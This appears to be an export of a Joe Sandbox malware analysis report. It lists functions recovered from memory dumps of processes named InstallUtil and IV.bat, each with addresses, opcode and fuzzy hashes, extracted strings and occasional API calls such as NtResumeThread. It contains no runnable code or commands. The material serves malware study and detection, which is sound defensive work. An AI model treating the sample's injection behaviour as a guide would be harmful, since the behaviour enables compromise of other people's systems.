API ID:
String ID:
API String ID:
Opcode ID: 8bad08bc3297c4791243414a9a82218353e3075920b51f23bb46501d1989d77c
Instruction ID: 1bd48fdc4975e9f568d8703ccd71c115438b92b2f6da5c1e1f84bac1a8a9e2f8
Opcode Fuzzy Hash: 8bad08bc3297c4791243414a9a82218353e3075920b51f23bb46501d1989d77c
Instruction Fuzzy Hash: E911BB75504284CFDB21CF14D5C4B15BBB1FB84314F28C6AAD84D4B656C33AD85ACB62

Function 05D66FA0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8252cdd15af53dca303a25b0e17feef08acbf9eadcef976a9f63e630454e74f8
Instruction ID: f1127f6d8baa21c44e6f89828bf5708c4369682739a615bc24623d07e7061e2a
Opcode Fuzzy Hash: 8252cdd15af53dca303a25b0e17feef08acbf9eadcef976a9f63e630454e74f8
Instruction Fuzzy Hash: 3111C2B1D012599FCB10DF9AD884ACEFBF8FB48320F10812AE918A7240C375A954CBA5

Function 05D672CF Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 844c3b60a0a4c27bf51155000257267be7b73f2090dcdfd14074dbc3c9b5e399
Instruction ID: 1d1ba6283badd1d1159b8106ffed5a70616ec2dc6ce7169cef01377d2030b906
Opcode Fuzzy Hash: 844c3b60a0a4c27bf51155000257267be7b73f2090dcdfd14074dbc3c9b5e399
Instruction Fuzzy Hash: 2D018F72B0411D4BDF5496B8DC11AEF7BBBEBC8650F04403AD906E3244EE69DD0647D1

Function 05D67528 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dd7ce236f4cb256836a0ba665c3d5a6997814e001a77bef64fc1d4e33858275
Instruction ID: 20008e28febf82e958a661e9821582b29d6bcd55078c9547a0c229e3cb587a0c
Opcode Fuzzy Hash: 4dd7ce236f4cb256836a0ba665c3d5a6997814e001a77bef64fc1d4e33858275
Instruction Fuzzy Hash: 5301A931B001184BDB24A67D9461B2BA6EBEBC8724F20887AF50EC7380EE65EC0747D1

Function 007C7948 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a83b1692ba67b3ba02ce45e8b926ae5be47d66a0175249845f53698be08c970
Instruction ID: 099a3e6a002b77e37b1c3454261a31cd976b78a7467b6a41262e218bd9298dc8
Opcode Fuzzy Hash: 7a83b1692ba67b3ba02ce45e8b926ae5be47d66a0175249845f53698be08c970
Instruction Fuzzy Hash: 590162B27042114BDB2CAB7A9894A3E77EBEFC5765311883DD909C7314FE35DC018A91

Function 007C70A0 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baeff567a26cd6c11431264c98e7a820f3fb5de84fc86255c6234a31ab3bcf3b
Instruction ID: abb8601e0976f0b6a423f8edc313e043ee03fe53883a2256c0aa1f30597756b3
Opcode Fuzzy Hash: baeff567a26cd6c11431264c98e7a820f3fb5de84fc86255c6234a31ab3bcf3b
Instruction Fuzzy Hash: DC012670A042559FCB00EB785855BFE7FE19F85314F2048ADD949DB282EB268D07CBC1

Function 05D6DA40 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dae52449cfbbc438bdd0a829ef7ce529d41759977d50db71b3440a42a6c4a40
Instruction ID: 554b0fcdff07d948888183b41c0263b11e4b57e031e71f7afbd6a584949e3fdd
Opcode Fuzzy Hash: 4dae52449cfbbc438bdd0a829ef7ce529d41759977d50db71b3440a42a6c4a40
Instruction Fuzzy Hash: 48018C347041158FDB64EA3CE491F2A77D7EB89710F28882AF10ACB355EA25EC078780

Function 007C7028 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1177d04a2298962f895f96fbdbc980cbef5eb2e55e8582c67c5640278537331
Instruction ID: 5f96f6770a5c7297fccf504fd7201abda7a1e2f55252a3cfc34e24a1e3d63d95
Opcode Fuzzy Hash: c1177d04a2298962f895f96fbdbc980cbef5eb2e55e8582c67c5640278537331
Instruction Fuzzy Hash: 35F0C831B045A4CBCF15AA789C65BEFBBB1DF86300F0445BDD485E6106EA299946CBD0

Function 007C6FA0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c148e1659fabef3e7a73e3f0740ae6a78bb50306b1fd773adac24d1a8a5826ca
Instruction ID: b5ec8d1b93b41a3424d234bb47a3d2602a5d9926c89632c3e707a5e7e4dbdd99
Opcode Fuzzy Hash: c148e1659fabef3e7a73e3f0740ae6a78bb50306b1fd773adac24d1a8a5826ca
Instruction Fuzzy Hash: 73F0DA7174C10287EB381D69A58AF762788AB04751F640C3EB407C61C0FE9DC8D5EB22

Function 007CDA19 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65a3aaa61b9bb70763e439f9f85f588fc4e000ecd5ed372cc211bcc98bfea73
Instruction ID: a54557cb675d1effbd0fef846a1b5b3f8daee1a4d0f21722dd0868102e95c7ca
Opcode Fuzzy Hash: d65a3aaa61b9bb70763e439f9f85f588fc4e000ecd5ed372cc211bcc98bfea73
Instruction Fuzzy Hash: 44F0BE32A212289BCB346565D801BEAB77AEB84354F10843EED40E7354DA76AD0ACBD0

Function 007CAAC8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d97e261b69c45dc55e2780967637a77641efb539e8c7811df0eb93500139246
Instruction ID: 78599a2d3fb5b1fed32ebbdafdcfb6add07338fdccf017e828d44b68f79e0ef8
Opcode Fuzzy Hash: 9d97e261b69c45dc55e2780967637a77641efb539e8c7811df0eb93500139246
Instruction Fuzzy Hash: 48F0C475B402088FCB08EB74D598BAC77B2EF89716F2144A8E506DB3A4DB35AD42CB40

Function 007CB730 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4383465d19f43c7e94e9656169ba432d2d46aaeef21db4f33e128eb783818989
Instruction ID: 4bf4818bf75e0f0c33dda0dc848bf461ba39f28adf74f3e37e376e92655220ab
Opcode Fuzzy Hash: 4383465d19f43c7e94e9656169ba432d2d46aaeef21db4f33e128eb783818989
Instruction Fuzzy Hash: F4F0447090020ADFCF45FFB6F98099D7BB1EB44304F504669D4099B265FE726E4D9B82

Function 05D69790 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f61d6c00716c033b20afe44a526caa025c6268492db0e22c074d1c9732b1bb8
Instruction ID: d68541298dcf13dbf899d85bd52cf90bc22f2329bc4c7c9254c09c4bea885120
Opcode Fuzzy Hash: 0f61d6c00716c033b20afe44a526caa025c6268492db0e22c074d1c9732b1bb8
Instruction Fuzzy Hash: 26E0D8B2A0410CA7DF10DEB4C996FAE777AE701304F1484A9D408D7202F236D9038341

Non-executed Functions

Function 05D6ADC8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6AEFC
$tq, xrefs: 05D6B36E
$tq, xrefs: 05D6B364
$tq, xrefs: 05D6AF08
$tq, xrefs: 05D6AF2D
$tq, xrefs: 05D6B2B9
$tq, xrefs: 05D6B37A
$tq, xrefs: 05D6B2C5
$tq, xrefs: 05D6AF39
$tq, xrefs: 05D6B358

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-173664734
Opcode ID: 270176407d5e130277c3797cbb3d72e6566f1d5cd344a11c376b697fb9c8653d
Instruction ID: fecbe1f75cdc1b24c986a06d804cc741caa0c1126baf37e24e32313fb429a58d
Opcode Fuzzy Hash: 270176407d5e130277c3797cbb3d72e6566f1d5cd344a11c376b697fb9c8653d
Instruction Fuzzy Hash: 75121070B00219CFDB24DF69D894AADB7B2FF88304F20856AD44AEB255DB309D46CF91

Function 05D6E068 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6E226
$tq, xrefs: 05D6E1B9
$tq, xrefs: 05D6E16A
$tq, xrefs: 05D6E1F0
$tq, xrefs: 05D6E15E
$tq, xrefs: 05D6E21A
$tq, xrefs: 05D6E1C5
$tq, xrefs: 05D6E1E4

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-3970889292
Opcode ID: e767ddd98e3141746b93fb0b25c3dd0b3545f3fe128efd622fc1d6b99357d4fe
Instruction ID: 7e1211920b9cce6f614e6851aefb99ac30c0e2c863ff1aac35694e7e785cebf4
Opcode Fuzzy Hash: e767ddd98e3141746b93fb0b25c3dd0b3545f3fe128efd622fc1d6b99357d4fe
Instruction Fuzzy Hash: AD919134A05209DFDB24DB69D954B6FB7BBFF88300F10852AE4029B294DB399C46DB91

Function 05D6A7C8 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6AC64
$tq, xrefs: 05D6ACD0
$tq, xrefs: 05D6AB10
$tq, xrefs: 05D6ACDC
$tq, xrefs: 05D6AAAA
$tq, xrefs: 05D6AB04

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-2574395493
Opcode ID: b4980bb8c87d447e933ba7a1e352b90a1f35d0af529fe2db00309c4c0fb27d91
Instruction ID: 1075dc936c62bc41e2cda88425a086d9ee02851c1a4bc29fd01ae279e3108a1c
Opcode Fuzzy Hash: b4980bb8c87d447e933ba7a1e352b90a1f35d0af529fe2db00309c4c0fb27d91
Instruction Fuzzy Hash: 1CF13C74A00209CFCB19EBA9D454A6EB7B3FF84305F24856DD445AB3A9DB35AC47CB80

Function 05D6F140 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6F30D
$tq, xrefs: 05D6F2D9
$tq, xrefs: 05D6F2E5
$tq, xrefs: 05D6F34D
$tq, xrefs: 05D6F319
$tq, xrefs: 05D6F341

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-2574395493
Opcode ID: a0d993c596dbe9e8bc7476a16f981d2da44d02fb92ab81946ee8326a33777f54
Instruction ID: 511f73d5a4f45d09275dd1a5955ff6bb1ab5d7e396e63fe63ef59a7cebde03c0
Opcode Fuzzy Hash: a0d993c596dbe9e8bc7476a16f981d2da44d02fb92ab81946ee8326a33777f54
Instruction Fuzzy Hash: C5719270A0460A8FCB18DB69E8506AEB7B3FF85300F14842AD406DF258DB74ED47CB81

Function 05D6BB00 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6BD66
$tq, xrefs: 05D6BDCB
$tq, xrefs: 05D6BD5A
$tq, xrefs: 05D6BDBF

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: da86c84557d881998823b3c3b0240c4771acd24e0db0b153c3432d632ba3db80
Instruction ID: 9ac6b80c9172bbbfb703d9bc9b5c308054397b64bf0ee5f46753258a7b15e294
Opcode Fuzzy Hash: da86c84557d881998823b3c3b0240c4771acd24e0db0b153c3432d632ba3db80
Instruction Fuzzy Hash: 51B11D30A00208CFDB24EBA9D554AAEB7B2FF84305F24852AD406DB355DB75DC87CB81

Function 05D6BF18 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6BFA3
LRtq, xrefs: 05D6C00B
$tq, xrefs: 05D6BF97
LRtq, xrefs: 05D6C05A

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: LRtq$LRtq$$tq$$tq
API String ID: 0-1602856738
Opcode ID: 411cbff4f97e7efac3df4b9b7b62764d6e5232a508310c4eac8e9cfa4c1cbe35
Instruction ID: 8a792c7fba94e3b269b2a1fb8e0c6c569ce064e77963cf0130d37380040f2bfd
Opcode Fuzzy Hash: 411cbff4f97e7efac3df4b9b7b62764d6e5232a508310c4eac8e9cfa4c1cbe35
Instruction Fuzzy Hash: D151A3347002059FDB18EB39D854E6AB7E2FF88304F14856AE846DB3B5DA35EC46CB90

Function 05D6E3F0 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

$tq, xrefs: 05D6E521
$tq, xrefs: 05D6E5A3
$tq, xrefs: 05D6E574
$tq, xrefs: 05D6E5CC

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: b6e3350aa9e8010223d5cbc7ad5dcfca7f2c46a1a3d3e5ca1e771a4690cdc650
Instruction ID: 45430b312f1ace0595cfb6ea1c254c5ec13d64a3cb9f7d9c711c2ebd8c81e81e
Opcode Fuzzy Hash: b6e3350aa9e8010223d5cbc7ad5dcfca7f2c46a1a3d3e5ca1e771a4690cdc650
Instruction Fuzzy Hash: 91515138A00205CBCF25DB68D594AAFB3B6FB84314F14852AE406DB355EB35EC47CB91

Analysis Process: IV.bat.UsqPID: 7928, Parent PID: 7816COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	91.8%
Signature Coverage:	0%
Total number of Nodes:	49
Total number of Limit Nodes:	2

Executed Functions

Function 08F0C2B0 Relevance: 16.2, Strings: 12, Instructions: 1178COMMON

Download Yara Rule

Strings

$tq, xrefs: 08F0C7B7
$tq, xrefs: 08F0C543
$tq, xrefs: 08F0C6F7
$tq, xrefs: 08F0CBEA
$tq, xrefs: 08F0CB91
$tq, xrefs: 08F0CBDA
4, xrefs: 08F0CC85
$tq, xrefs: 08F0C707
$tq, xrefs: 08F0C533
,xq, xrefs: 08F0CD6A
$tq, xrefs: 08F0CB81
$tq, xrefs: 08F0C7A7

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: ,xq$4$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-1905337181
Opcode ID: ca629bd1a63875a5b93fbd0ecd6d0bc7a69b31b749a04e72a599f8f1e000b9c8
Instruction ID: 6bd9e8baa1f801cd9b48a554186e95499e0e809b4505c020cabe3eef75c34a77
Opcode Fuzzy Hash: ca629bd1a63875a5b93fbd0ecd6d0bc7a69b31b749a04e72a599f8f1e000b9c8
Instruction Fuzzy Hash: 8EB2F674A00218DFDB14CFA8C994BADB7B6FF48301F158199E909AB2A5DB70EC45DF50

Function 08F0C5D7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$tq, xrefs: 08F0C6F7
$tq, xrefs: 08F0CBDA
4, xrefs: 08F0CC85
,xq, xrefs: 08F0CD6A
$tq, xrefs: 08F0CB81
$tq, xrefs: 08F0C7A7

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: ,xq$4$$tq$$tq$$tq$$tq
API String ID: 0-633287245
Opcode ID: fb092c26829e2e1236a3d86ca3e80db0f7008efc8d371d1ba3529652abc1816b
Instruction ID: 1740a2e91d130f5489b4f653f144de4c5e2932d2de86c8c16b866c4e25431922
Opcode Fuzzy Hash: fb092c26829e2e1236a3d86ca3e80db0f7008efc8d371d1ba3529652abc1816b
Instruction Fuzzy Hash: A022F974A00218CFDB24DFA9C984BADB7B6FF48305F158199E509AB2A5DB30DD82DF50

Function 08F07F79 Relevance: 2.9, Strings: 2, Instructions: 402
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tetq, xrefs: 08F0816B
Tetq, xrefs: 08F08280

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID: Tetq$Tetq
API String ID: 0-3683018229
Opcode ID: ec230c243252704bad8d63a74dde0f8c1c8e61aa35a1a23a7131059125ae3991
Instruction ID: e409c13e10016a10f823d019df3967bec8d2def28686ead2c5f7c54f58431e14
Opcode Fuzzy Hash: ec230c243252704bad8d63a74dde0f8c1c8e61aa35a1a23a7131059125ae3991
Instruction Fuzzy Hash: 25121970A15228CFDB64DF69D844BADBBB2FB48305F1090E9D44AA7385DB70AE81CF11

Function 088E6CC8 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ce6e1544fd41ddd467627f066f23aa368e4a75964d5c26811b98bfe4d655896
Instruction ID: 98fccda3000dcf5a8b22d9964e4e9d335a17a302b027eed7e54f32f2240578b8
Opcode Fuzzy Hash: 8ce6e1544fd41ddd467627f066f23aa368e4a75964d5c26811b98bfe4d655896
Instruction Fuzzy Hash: AF51E0B1D08288CFCF11CFA8D954A9EBFB1AF26310F18419AE494E7392C7355800CB96

Function 088E6D90 Relevance: 1.6, APIs: 1, Instructions: 86nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 088E6E26

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f860b2b8f412c27f02b5854c28c40f94d296fdadbeed7e20308e518292596a00
Instruction ID: ce3827f44e30c4868d8c4c9266c43ed7f769ffe09c76cf3f95ad6845c209134c
Opcode Fuzzy Hash: f860b2b8f412c27f02b5854c28c40f94d296fdadbeed7e20308e518292596a00
Instruction Fuzzy Hash: 4C31CBB5D052189FCF10CFA9D980A9EFBF5FB59320F24942AE814B7240D775A905CF94

Function 088E6D98 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 088E6E26

Memory Dump Source

Source File: 0000000F.00000002.1910686730.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_88e0000_IV.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5f13c7a915878c9af20e21d1a577efad2b33d31e3230834afd408822ceac10e4
Instruction ID: 305fd9bcdc687d328e5f109280ff612ce241e764bc485315aaef6138238a28a8
Opcode Fuzzy Hash: 5f13c7a915878c9af20e21d1a577efad2b33d31e3230834afd408822ceac10e4
Instruction Fuzzy Hash: 5731C9B4D012189FCF10CFAAD980AAEFBF5FB59320F20942AE814B7240D775A905CF94

Function 0A29EFA0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

D{q, xrefs: 0A29F0A5

Memory Dump Source

Source File: 0000000F.00000002.1912822086.000000000A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_a280000_IV.jbxd

Similarity

API ID:
String ID: D{q
API String ID: 0-3973147599
Opcode ID: 82e8480e6f219e463363e00d17b18780cdc32ac613517a8d6651a5160c317b4b
Instruction ID: bee384a2fa62427d3a5b6d048d82b4e91fc196bf9d60a4f62f7fc46072c16c76
Opcode Fuzzy Hash: 82e8480e6f219e463363e00d17b18780cdc32ac613517a8d6651a5160c317b4b
Instruction Fuzzy Hash: 39D19474E11219CFDB58DFA9D994B9DBBB2BF88300F1081A9E409AB365DB319D81CF50

Function 04B0CE14 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3be3238e138bb88eea5824d61461c3086579de7283c7b606029690eaa69d8bc
Instruction ID: e463d0c359cde660b97bea10ce8627628deb19c15e335a3f702299baa83c3277
Opcode Fuzzy Hash: f3be3238e138bb88eea5824d61461c3086579de7283c7b606029690eaa69d8bc
Instruction Fuzzy Hash: 52410831A04109CFD714CF6AD899BA9BFB6FB88306F15C5E5D009962D0EB74A996CF04

Function 04B0CE42 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 048be960c330ead72275149fe0474a74e667a9c7629678bf2d36f9c7498bf98e
Instruction ID: 340f8eb0a7618fb4d4610ebe152dc489d9fa539d886d36547169d8f65f160adf
Opcode Fuzzy Hash: 048be960c330ead72275149fe0474a74e667a9c7629678bf2d36f9c7498bf98e
Instruction Fuzzy Hash: 38411830A04109CFD764CF6AD889BA9BFB6FB48306F15C5E5D00996290EB74A9D6CF04

Function 075B0C40 Relevance: 39.3, Strings: 30, Instructions: 1785COMMON

Download Yara Rule

Strings

4'tq, xrefs: 075B13C9
tPtq, xrefs: 075B1EDB
XXtq, xrefs: 075B11D7
4'tq, xrefs: 075B13D5
4'tq, xrefs: 075B1CBB
XXtq, xrefs: 075B0FF7
XXtq, xrefs: 075B0E07
4'tq, xrefs: 075B18F7
XXtq, xrefs: 075B0E13
4'tq, xrefs: 075B1739
Tetq, xrefs: 075B13A5
4'tq, xrefs: 075B1A82
$tq, xrefs: 075B207F
XXtq, xrefs: 075B0D96
4'tq, xrefs: 075B18EB
Tetq, xrefs: 075B118B
$tq, xrefs: 075B1E3A
$tq, xrefs: 075B208F
Tetq, xrefs: 075B0D48
tPtq, xrefs: 075B1FD8
4'tq, xrefs: 075B1CC5
4'tq, xrefs: 075B1A8E
XXtq, xrefs: 075B0FEB
4'tq, xrefs: 075B1745
Tetq, xrefs: 075B1366
XXtq, xrefs: 075B0D8A
XXtq, xrefs: 075B11CB
tPtq, xrefs: 075B1FCC
tPtq, xrefs: 075B1ECF
Tetq, xrefs: 075B13B1

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$Tetq$Tetq$Tetq$Tetq$Tetq$XXtq$XXtq$XXtq$XXtq$XXtq$XXtq$XXtq$XXtq$tPtq$tPtq$tPtq$tPtq$$tq$$tq$$tq
API String ID: 0-604550472
Opcode ID: c1ae9e12a97807e146c02098a502fcb9463d0935e44723843e12192ad8ef103d
Instruction ID: 37159b7085d8c77250598987712547e8d6a542692f20a3eef1714204a814ece4
Opcode Fuzzy Hash: c1ae9e12a97807e146c02098a502fcb9463d0935e44723843e12192ad8ef103d
Instruction Fuzzy Hash: F1D216B0B042099FDB659B79D860BFABBA2BF85310F2484ABD505DF291DB31DC41C7A1

Function 075B1D88 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$tq, xrefs: 075B207F
tPtq, xrefs: 075B1FCC
tPtq, xrefs: 075B1ECF
$tq, xrefs: 075B1E3A

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: tPtq$tPtq$$tq$$tq
API String ID: 0-3263135155
Opcode ID: db4e358405c68dc13e2f7a1fb79295236024b5dac5581ca994e05a21d3edcdb4
Instruction ID: 13fa0b8db5f693797060be115955e8834ee0f066884efd5436f70a48ead2679e
Opcode Fuzzy Hash: db4e358405c68dc13e2f7a1fb79295236024b5dac5581ca994e05a21d3edcdb4
Instruction Fuzzy Hash: 976160B0A00209DFDB74CE45C955BFABBB2BB89350F64845AE9056B251C732EC41CBA1

Function 075B0C20 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

Tetq, xrefs: 075B0D48
